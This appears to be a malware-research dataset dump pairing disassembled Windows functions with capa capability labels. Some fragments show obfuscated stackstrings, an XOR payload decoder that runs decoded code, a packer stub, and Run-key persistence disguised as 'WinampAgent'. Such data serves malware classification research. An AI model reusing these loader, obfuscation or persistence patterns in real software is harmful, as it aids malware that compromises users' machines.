joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d0b1189
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [eax - 0x3a]
test dword [eax + 0x56fffffc], edi
mov byte [ebp - 0x347], 0x56
mov byte [ebp - 0x346], 0x6d
mov byte [ebp - 0x345], 0x40
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.6d0b0934
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.6d0b08e9
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.6d0b0934
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.6d0b08e9
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.6d0b0934
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.6d0b08e9
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.6d0b0924
aam 0xef
jle 0x6d0b1378
and byte [ebp - 0x534], 0
and byte [ebp - 0x533], 0
mov byte [ebp - 0x532], 0x68
and byte [ebp - 0x531], 0
mov byte [ebp - 0x530], 0xd4
mov byte [ebp - 0x52f], 0xfb
mov byte [ebp - 0x52e], 0xf8
mov byte [ebp - 0x52d], 0xe4
mov byte [ebp - 0x52c], 0xf2
mov byte [ebp - 0x52b], 0xdf
mov byte [ebp - 0x52a], 0xf6
mov byte [ebp - 0x529], 0xf9
mov byte [ebp - 0x528], 0xf3
mov byte [ebp - 0x527], 0xfb
mov byte [ebp - 0x526], 0xf2
mov byte [ebp - 0x525], 0x97
lea eax, [ebp - 0x534]
push eax
invalid

Function at 0x6d0b28f3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0
jne 0x6d0b2907
jmp 0x6d0b22c6

Function at 0x6d0b3eb2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d0fb630]
jne 0x6d0b3ebc
repz ret
jmp fcn.6d0b47cf
Function at 0x404676
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x404685
pop dword [ebp - 0x50]
mov eax, 0xc1abc197
add eax, 0x3e9484ee
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x36d6d
push 0
mov eax, 0xd1a1cb2f
sub eax, 0xd1615a73
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x6881ba78
sub ecx, 0x68817293
mov esi, eax
mov edi, 0xed0d0033
add edi, 0x1333bfcd
add edi, dword [ebp - 0x50]
mov ebx, 0x1f3d1f67
add ebx, 0xe9326407
add dword [ebp - 0x10], 0x14a3ac86
mov edx, dword [edi]
xor dword [ebp - 0x18], ecx
sub edx, ebx
mov dword [esi], edx
add dword [ebp - 0x18], 0xc0a592aa
add esi, 0x6308adc4
add esi, 0x9cf75240
add edi, 4
loop 0x4046e4
add eax, 0x11267
mov ebx, eax
add eax, 0x8fd662d1
add eax, 0x70299d34
mov ecx, 0x35901e3c
add ecx, 0xcaafe1c4
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x593a90
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x499015
lea edi, [esi - 0x98015]
push edi
or ebp, 0xffffffff
jmp 0x593ab2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x593ab9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x593aa8
mov eax, 1
add ebx, ebx
jne 0x593acb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x593adc
jne 0x593afb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x593afb
dec eax
add ebx, ebx
jne 0x593ae8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x593ac0
add ebx, ebx
jne 0x593af7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x593b4d
xor ecx, ecx
sub eax, 3
jb 0x593b13
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x593b82
sar eax, 1
mov ebp, eax
jmp 0x593b1e
add ebx, ebx
jne 0x593b1e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x593aec
inc ecx
add ebx, ebx
jne 0x593b2c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x593aec
add ebx, ebx
jne 0x593b39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x593b2e
jne 0x593b4a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x593b2e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x593b6c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x593b5e
jmp 0x593aae
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x593b6c
add edi, ecx
jmp 0x593aae
pop esi
mov edi, esi
mov ecx, 0x2c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x593b8a
cmp byte [edi], 0
jne 0x593b8a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x593b8f
lea edi, [esi + 0x191000]
mov eax, dword [edi]
or eax, eax
je 0x593bfe
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1931e4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x19326c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x593bbc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x193274]
or eax, eax
je 0x593bf8
mov dword [ebx], eax
add ebx, 4
jmp 0x593bd9
call dword [esi + 0x193270]
mov ebp, dword [esi + 0x193278]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x593c32
sub esp, 0xffffff80
jmp 0x401d2a
Function at 0x41f066
Capabilities:
Get geographical location

Disassembly:
push 0x18
push 0x425708
call fcn.00418074
xor esi, esi
cmp dword [0x42d494], esi
jne 0x41f0aa
push esi
push esi
xor edi, edi
inc edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x41f095
mov dword [0x42d494], edi
jmp 0x41f0aa
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x41f0aa
mov dword [0x42d494], 2
mov eax, dword [0x42d494]
cmp eax, 2
je 0x41f18b
cmp eax, esi
je 0x41f18b
cmp eax, 1
jne 0x41f0ef
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], esi
cmp dword [ebp + 0x18], esi
jne 0x41f0d8
mov eax, dword [0x42d318]
mov dword [ebp + 0x18], eax
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ebx, eax
mov dword [ebp - 0x24], ebx
cmp ebx, esi
jne 0x41f0f6
xor eax, eax
jmp 0x41f19d
mov dword [ebp - 4], esi
lea eax, [ebx + ebx]
add eax, 3
and eax, 0xfffffffc
call fcn.004152b0
mov dword [ebp - 0x18], esp
mov edi, esp
mov dword [ebp - 0x28], edi
or dword [ebp - 4], 0xffffffff
jmp 0x41f12c
cmp edi, esi
jne 0x41f147
lea eax, [ebx + ebx]
push eax
call fcn.00415fb7
pop ecx
mov edi, eax
cmp edi, esi
je 0x41f0ef
mov dword [ebp - 0x20], 1
push ebx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x41f17a
push esi
push esi
cmp dword [ebp + 0x14], esi
jne 0x41f164
push esi
push esi
jmp 0x41f16a
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0xffffffffffffffff
push edi
push esi
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x20], esi
je 0x41f186
push edi
call fcn.00415232
pop ecx
mov eax, dword [ebp - 0x1c]
jmp 0x41f19d
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea esp, [ebp - 0x34]
call fcn.004180af
ret
Function at 0x1000ba71
Capabilities:
Create directory

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
xor eax, eax
inc ebx
mov esi, edx
cmp ax, word [edi]
je 0x1000baf5
push 0x10039374
push edi
call fcn.1001de79
pop ecx
pop ecx
test eax, eax
jne 0x1000baf5
push 0x100396a4
push edi
call fcn.1001de79
pop ecx
pop ecx
test eax, eax
jne 0x1000baf5
push 0x5c
pop eax
push eax
push esi
jmp 0x1000bae4
push 0x3a
pop eax
cmp ax, word [esi - 2]
je 0x1000bad9
xor eax, eax
push eax
push edi
mov word [esi], ax
call dword [sym.imp.kernel32.dll_CreateDirectoryW]
test eax, eax
jne 0x1000bad6
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
je 0x1000bad6
xor ebx, ebx
jmp 0x1000bad9
xor ebx, ebx
inc ebx
push 0x5c
pop eax
push eax
lea ecx, [esi + 2]
mov word [esi], ax
push ecx
call fcn.1001ddb2
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x1000baab
mov eax, ebx
jmp 0x1000baf7
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x10010c8b
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x104c
call fcn.1002fb29
mov eax, dword [0x100400b0]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
cmp ax, word [ecx]
je 0x10010d25
push 0xffffffffffffffff
push ecx
lea eax, [ebp - 0x104c]
push 0x824
push eax
call fcn.10013969
add esp, 0x10
cmp eax, 0x50
je 0x10010d25
lea ecx, [ebp - 0x104c]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10010cce
sub ecx, edx
sar ecx, 1
call fcn.100078ac
test eax, eax
jle 0x10010d0b
push 0x5c
pop ecx
cmp cx, word [ebp + eax*2 - 0x104e]
jne 0x10010d0b
lea eax, [eax*2 - 2]
cmp eax, 0x1048
jae 0x10010d33
xor ecx, ecx
mov word [ebp + eax - 0x104c], cx
lea eax, [ebp - 0x104c]
push eax
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x10010d25
shr eax, 4
and eax, 1
jmp 0x10010d27
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001c65c
leave
ret
call fcn.10013969
int3
Function at 0x100111d4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x100400b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, edx
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp + 0x14]
mov ebx, ecx
mov dword [ebp - 0x420], eax
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x418], edi
test esi, esi
je 0x10011291
test ebx, ebx
je 0x10011291
mov edi, esi
xor edx, edx
lea ecx, [edi + 2]
mov ax, word [edi]
add edi, 2
cmp ax, dx
jne 0x1001121c
sub edi, ecx
lea eax, [ebp - 0x20c]
sar edi, 1
cmp esi, eax
je 0x1001124b
push ecx
push esi
mov edx, 0x104
mov ecx, eax
call fcn.10013969
test eax, eax
je 0x100112d0
push 0x5c
pop eax
cmp ax, word [ebp + edi*2 - 0x20e]
je 0x10011278
push 0xffffffffffffffff
push 0x100393f0
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.10013969
add esp, 0x10
cmp eax, 0x50
je 0x100112d0
push ebx
mov edx, 0x104
lea ecx, [ebp - 0x20c]
call fcn.10013969
mov edi, dword [ebp - 0x418]
jmp 0x10011293
xor eax, eax
test eax, eax
je 0x100112d0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x100112e3
push eax
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push 0x104
push eax
call fcn.10013969
add esp, 0x10
cmp eax, 0x50
jne 0x10011376
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001c65c
leave
ret 0x10
test edi, edi
je 0x10011302
lea eax, [ebp - 0x20c]
push 0x2e
push eax
call fcn.10013969
pop ecx
pop ecx
test eax, eax
je 0x1001130c
xor ecx, ecx
mov word [eax], cx
jmp 0x1001130c
mov dword [ebp - 0x418], 0x10037e9c
push 0xffffffffffffffff
push str.___d__s
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.10013969
add esp, 0x10
cmp eax, 0x50
je 0x100112d0
xor edi, edi
inc edi
push dword [ebp - 0x418]
lea eax, [ebp - 0x20c]
push edi
push eax
lea eax, [ebp - 0x414]
push 0x104
push eax
call fcn.10013969
add esp, 0x14
test eax, eax
je 0x100112d0
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10011376
inc edi
cmp edi, 0x7fffffff
jbe 0x1001132f
lea ecx, [esi + 2]
xor edx, edx
mov ax, word [esi]
add esi, 2
cmp ax, dx
jne 0x1001137b
sub esi, ecx
sar esi, 1
cmp ebx, 0xffffffff
jne 0x100112d0
mov ebx, dword [ebp - 0x41c]
test ebx, ebx
je 0x100112d0
push 0xffffffffffffffff
lea eax, [ebp - 0x414]
push eax
push 0x104
push ebx
call fcn.10013969
add esp, 0x10
cmp eax, 0x50
je 0x100112d0
mov eax, dword [ebp - 0x420]
test eax, eax
je 0x100113e5
test esi, esi
je 0x100112d0
lea ecx, [ebx + esi*2]
push 0x5c
pop edx
mov dword [eax], ecx
cmp dx, word [ecx]
jne 0x100113e5
add ecx, 2
mov dword [eax], ecx
xor eax, eax
inc eax
jmp 0x100112d2
Function at 0x100194d5
Capabilities:
Query environment variable
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xea0
mov eax, dword [0x100400b0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0x14]
push edi
test esi, esi
jne 0x100194fb
mov eax, 0x80070057
jmp 0x1001970d
push ebx
push dword [ebp + 0xc]
lea eax, [ebp - 0x484]
xor ebx, ebx
push str.SoftwareMicrosoftOffice_i.0Registration
push 0x100
push eax
mov dword [esi], ebx
mov dword [ebp - 0xe9c], ebx
call fcn.10013969
add esp, 0x10
test eax, eax
je 0x100196fd
lea eax, [ebp - 0xe9c]
push eax
push 0x20019
push ebx
lea eax, [ebp - 0x484]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100196fd
push 0x40
lea eax, [ebp - 0x84]
push eax
push dword [ebp + 0x10]
push dword [ebp - 0xe9c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
push dword [ebp - 0xe9c]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, 0x103
je 0x100196fd
test edi, edi
jne 0x1001970a
push 0xffffffffffffffff
lea eax, [ebp - 0x484]
mov edi, 0x100
push eax
lea eax, [ebp - 0x284]
push edi
push eax
call fcn.10013969
add esp, 0x10
cmp eax, 0x50
je 0x1001970a
push 0xffffffffffffffff
push 0x100393f0
lea eax, [ebp - 0x284]
push edi
push eax
call fcn.10013969
add esp, 0x10
cmp eax, 0x50
je 0x1001970a
push 0xffffffffffffffff
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x284]
push edi
push eax
call fcn.10013969
add esp, 0x10
cmp eax, 0x50
je 0x1001970a
lea eax, [ebp - 0xe94]
mov dword [ebp - 0xe98], ebx
push eax
push 1
push ebx
lea eax, [ebp - 0x284]
mov dword [ebp - 0xe94], ebx
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edi, eax
test edi, edi
jne 0x10019655
lea eax, [ebp - 0xea0]
mov dword [ebp - 0xea0], 0x802
push eax
lea eax, [ebp - 0xe90]
push eax
lea eax, [ebp - 0xe98]
push eax
push ebx
push 0x1003b278
push dword [ebp - 0xe94]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edi, eax
cmp dword [ebp - 0xe94], ebx
je 0x10019669
push dword [ebp - 0xe94]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
jne 0x100196ce
cmp dword [ebp - 0xe98], 1
je 0x1001967f
cmp dword [ebp - 0xe98], 2
jne 0x100196ce
cmp dword [ebp - 0xe98], 2
jne 0x100196d2
push 0x104
lea eax, [ebp - 0x68c]
push eax
lea eax, [ebp - 0xe90]
push eax
call dword [sym.imp.kernel32.dll_ExpandEnvironmentStringsW]
dec eax
cmp eax, 0x102
ja 0x100196d2
push 0xffffffffffffffff
lea eax, [ebp - 0x68c]
push eax
lea eax, [ebp - 0xe90]
push 0x401
push eax
call fcn.10013969
xor ebx, ebx
add esp, 0x10
cmp eax, 0x50
setne bl
test ebx, ebx
je 0x1001970a
lea eax, [ebp - 0xe90]
push str._no_more_entries_
push eax
call fcn.10013969
pop ecx
pop ecx
test eax, eax
je 0x1001970a
xor eax, eax
cmp ax, word [ebp - 0xe90]
je 0x1001970a
lea eax, [ebp - 0xe90]
push eax
jmp 0x10019702
push str._no_more_entries_
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1001c65c
leave
ret 0x10
Function at 0x402ae0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x30
lea eax, [esp + 0x2c]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], eax
lea eax, [esp + 0x28]
mov dword [esp + 8], eax
lea eax, [esp + 0x24]
mov dword [esp + 4], eax
lea eax, [esp + 0x20]
mov dword [esp], eax
mov dword [esp + 0x2c], 0
call sub.msvcrt.dll___getmainargs
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sub.msvcrt.dll___set_app_type
mov eax, dword [esp + 0x28]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call fcn.004035d0
mov dword [esp], eax
call sub.msvcrt.dll_exit
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
and esp, 0xfffffff0
call sub.msvcrt.dll___iob_func
mov edx, dword [ebp + 8]
leave
shl edx, 5
add eax, edx
ret
Function at 0x402b80
Capabilities:
Create process on windows
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push esi
push edi
xor esi, esi
mov dword [ebp - 0x58], 0x44
push 0x40
lea eax, [ebp - 0x54]
mov dword [ebp - 4], esi
push esi
push eax
call fcn.0049a3b0
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 4]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x402be0
push dword [ebp + 0xc]
push str.WinampAgent
push dword [ebp - 4]
call fcn.004040cc
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
pop edi
xor eax, eax
pop esi
leave
ret 8
Function at 0x402cda
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x660
lea eax, [ebp - 0x660]
push edi
push 0x208
push 0
push eax
call fcn.0049a3b0
push 0x250
lea eax, [ebp - 0x250]
push 0
push eax
call fcn.0049a3b0
add esp, 0x18
lea eax, [ebp - 0x660]
push 0x4cb7a0
push dword [ebp + 0xc]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea eax, [ebp - 0x250]
push eax
lea eax, [ebp - 0x660]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x402e4c
push 0x208
lea eax, [ebp - 0x458]
push 0
push eax
call fcn.0049a3b0
add esp, 0xc
lea eax, [ebp - 0x224]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x458]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
test byte [ebp - 0x250], 0x10
je 0x402e01
mov ecx, 0x4cb7a8
lea eax, [ebp - 0x224]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x402dac
test dx, dx
je 0x402da8
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x402dac
add eax, 4
add ecx, 4
test dx, dx
jne 0x402d86
xor eax, eax
jmp 0x402db1
sbb eax, eax
or eax, 1
test eax, eax
je 0x402e2f
mov ecx, 0x4cb7ac
lea eax, [ebp - 0x224]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x402de6
test dx, dx
je 0x402de2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x402de6
add eax, 4
add ecx, 4
test dx, dx
jne 0x402dc0
xor eax, eax
jmp 0x402deb
sbb eax, eax
or eax, 1
test eax, eax
je 0x402e2f
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x458]
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x64]
jmp 0x402e2f
lea eax, [ebp - 0x458]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x402e2f
push 4
push eax
lea eax, [ebp - 0x458]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 4
push 0
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea eax, [ebp - 0x250]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x402d41
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor eax, eax
pop edi
leave
ret 8
Function at 0x402eea
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
push esi
push edi
xor esi, esi
mov dword [ebp - 0x20], 2
push 0x20a
lea eax, [ebp - 0x43c]
mov dword [ebp - 0x24], esi
xorps xmm0, xmm0
push esi
push eax
movlpd qword [ebp - 0x12], xmm0
call fcn.0049a3b0
add esp, 0xc
lea eax, [ebp - 4]
mov edi, 0x104
push esi
push esi
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x43c]
push edi
push eax
call fcn.00404363
mov eax, dword [ebp - 4]
test eax, eax
je 0x402f46
xor ecx, ecx
mov word [eax + 2], cx
lea eax, [ebp - 0x43c]
push 0x20a
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x230]
push esi
push eax
call fcn.0049a3b0
add esp, 0xc
lea eax, [ebp - 0x230]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea ecx, [ebp - 0x230]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x402f80
sub ecx, edx
mov dword [ebp - 0xa], 0x4cada0
sar ecx, 1
xor eax, eax
mov word [ebp + ecx*2 - 0x22e], ax
lea eax, [ebp - 0x230]
mov dword [ebp - 0x18], eax
mov eax, 0x714
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
test eax, eax
je 0x402fdc
cmp eax, 0x71
je 0x402fdc
push eax
push str.0x_x
push edi
push dword [ebp + 0x14]
call fcn.0040450a
add esp, 0x10
mov esi, 0x80004005
pop edi
mov eax, esi
pop esi
leave
ret 0x10

Function at 0x403077
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push 0x20a
lea eax, [ebp - 0x22c]
push 0
push eax
call fcn.0049a3b0
push dword [ebp + 0xc]
and dword [ebp - 0x20], 0
lea eax, [ebp - 0x22c]
and dword [ebp - 6], 0
xorps xmm0, xmm0
push 0x4cb7b4
push 0x104
push eax
movlpd qword [ebp - 0xe], xmm0
call fcn.0040450a
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x18], eax
add esp, 0x1c
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov eax, 0x1610
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
neg eax
sbb eax, eax
and eax, 0x80004005
leave
ret 0xc